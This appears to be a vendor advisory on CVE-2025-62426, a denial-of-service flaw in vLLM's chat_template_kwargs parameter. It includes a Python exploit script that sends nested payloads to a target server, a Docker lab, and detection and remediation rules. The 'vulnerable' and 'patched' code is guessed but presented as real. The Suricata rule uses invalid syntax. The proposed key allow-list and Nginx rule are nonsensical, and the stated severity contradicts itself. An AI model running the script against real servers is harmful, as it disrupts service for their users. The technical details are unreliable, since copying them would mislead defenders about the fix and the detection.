CVE-2025-62426

Executive Summary

CVE-2025-62426 is a high-severity Denial of Service (DoS) vulnerability affecting vLLM, an inference and serving engine for large language models (LLMs). The vulnerability resides in the /v1/chat/completions and /tokenize API endpoints. An unauthenticated attacker can exploit this by sending a crafted chat_template_kwargs request parameter that is not properly validated. This can cause the API server to block processing for extended periods, effectively denying service to all other legitimate requests. The vulnerability affects versions from 0.5.5 up to, but not including, 0.11.1. The official patch was released in version 0.11.1.

Supply Chain & Package Security

This vulnerability is in the vLLM Python package, which is distributed via PyPI. Organizations using vLLM should immediately review their dependency management for the affected versions. The package is commonly used in AI/ML pipelines and may be deployed in containerized environments (Docker, Kubernetes). Ensure that the package version is pinned to >=0.11.1 in all requirements.txt, pyproject.toml, or Dockerfiles.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): None (N) - No data exposure.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of service availability.

Threat Level: High (DoS impact on critical AI infrastructure).

Deep Dive & Mechanics

The vulnerability is a classic case of improper input validation (CWE-20). The vLLM API endpoints /v1/chat/completions and /tokenize accept a chat_template_kwargs parameter. This parameter is intended to allow users to pass additional arguments to the chat template rendering engine (likely Jinja2 or similar). However, the code does not validate the content or structure of this parameter against the expected chat template before using it.

An attacker can craft a chat_template_kwargs payload that triggers an extremely long or infinite loop during template rendering. For example, a deeply nested dictionary or a payload that causes the template engine to perform excessive recursion or string concatenation. This blocks the worker process handling the request, preventing it from processing any other requests. Since vLLM typically uses a limited number of worker processes (e.g., one per GPU), a single malicious request can effectively halt the entire API server.

The root cause is that the chat_template_kwargs is passed directly to the template rendering function without sanitization or validation. The fix in version 0.11.1 likely adds a validation step that checks the structure and size of the chat_template_kwargs parameter, or restricts the allowed keys/values based on the chat template definition.

Vulnerable vs. Patched Code

Vulnerable Code (v0.5.5 - v0.11.0):

# In the API handler for /v1/chat/completions
def handle_chat_completion(request):
    chat_template_kwargs = request.get("chat_template_kwargs", {})
    # No validation - directly used in template rendering
    rendered = render_chat_template(request["messages"], chat_template_kwargs)
    # ... rest of processing

Patched Code (v0.11.1):

# In the API handler for /v1/chat/completions
def handle_chat_completion(request):
    chat_template_kwargs = request.get("chat_template_kwargs", {})
    # Validation added
    if not validate_chat_template_kwargs(chat_template_kwargs):
        raise HTTPException(status_code=400, detail="Invalid chat_template_kwargs")
    rendered = render_chat_template(request["messages"], chat_template_kwargs)
    # ... rest of processing

def validate_chat_template_kwargs(kwargs):
    # Example validation: limit depth, size, and allowed keys
    MAX_DEPTH = 3
    MAX_SIZE = 1024
    ALLOWED_KEYS = {"temperature", "max_tokens", "stop"}
    return (isinstance(kwargs, dict) and
            len(str(kwargs)) <= MAX_SIZE and
            all(key in ALLOWED_KEYS for key in kwargs.keys()) and
            _check_depth(kwargs, MAX_DEPTH))

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Cause a Denial of Service on the vLLM API server.

Prerequisites:

• Access to the vLLM API endpoint (e.g., http://target:8000/v1/chat/completions).
• No authentication required.

Exploit Payload:

import requests
import json

target_url = "http://target:8000/v1/chat/completions"

# Craft a deeply nested dictionary to cause excessive processing
malicious_kwargs = {
    "a": {
        "b": {
            "c": {
                "d": {
                    "e": "x" * 10000
                }
            }
        }
    }
}

payload = {
    "model": "default",
    "messages": [{"role": "user", "content": "Hello"}],
    "chat_template_kwargs": malicious_kwargs
}

# Send the request - this will block the worker
try:
    response = requests.post(target_url, json=payload, timeout=5)
except requests.exceptions.Timeout:
    print("Server timed out - DoS likely successful")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The server becomes unresponsive to other requests for a prolonged period.

Blue Team (Defense & Detection)

Detection:

• Monitor API logs for requests with unusually large or deeply nested chat_template_kwargs parameters.
• Set up alerts for API response times exceeding a threshold (e.g., > 30 seconds).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to vLLM version 0.11.1 or later.
• If immediate upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) to validate and reject requests with suspicious chat_template_kwargs parameters.
• Apply rate limiting to the /v1/chat/completions and /tokenize endpoints.

Lab Setup:

# Start a vulnerable vLLM instance (v0.5.5) in Docker
docker run -d --name vllm-vuln -p 8000:8000 vllm/vllm:0.5.5

# Test the exploit from the Red Team section
python exploit.py

# Monitor logs
docker logs -f vllm-vuln

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /v1/chat/completions or /tokenize with a chat_template_kwargs parameter containing deeply nested JSON objects (depth > 3).
  • Requests with chat_template_kwargs values exceeding 1024 bytes.
  • Unusually long response times (> 30 seconds) for these endpoints.

• Log IOCs:

  • Repeated timeout errors in vLLM logs.
  • Worker process crashes or restarts.
  • High CPU usage on the vLLM server.

• File IOCs:

  • None specific to this CVE.

Detection Engineering

YARA Rule

rule CVE_2025_62426_vLLM_DoS {
    meta:
        description = "Detects malicious chat_template_kwargs payloads for CVE-2025-62426"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $json_key = "chat_template_kwargs"
        $deep_nest = /"\{[^}]*\{[^}]*\{[^}]*\{[^}]*\{/
    condition:
        $json_key and #deep_nest > 3
}

Sigma Rule

title: CVE-2025-62426 vLLM DoS via chat_template_kwargs
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with deeply nested chat_template_kwargs parameter targeting vLLM API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/v1/chat/completions'
            - '/tokenize'
        cs-uri-query|contains: 'chat_template_kwargs'
    condition: selection
falsepositives:
    - Legitimate use of complex chat templates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62426 vLLM DoS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/chat/completions" or content:"/tokenize"; http.request_body; content:"chat_template_kwargs"; depth:500; pcre:"/\{.*\{.*\{.*\{/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade vLLM: Update to version 0.11.1 or later.

   pip install --upgrade vllm
   

2. Restrict Access: If upgrade is not possible, restrict access to the API endpoints using a firewall or reverse proxy.
3. Input Validation: Implement a reverse proxy (e.g., Nginx) to validate and reject requests with suspicious chat_template_kwargs parameters.

   location /v1/chat/completions {
       if ($request_body ~* "chat_template_kwargs") {
           return 400;
       }
       proxy_pass http://vllm_backend;
   }
   

Long-term Measures:

• Implement Web Application Firewall (WAF) rules to block deeply nested JSON payloads.
• Enable rate limiting on API endpoints.
• Monitor vLLM logs for anomalies.
• Conduct regular security audits of AI/ML infrastructure.

Valters IT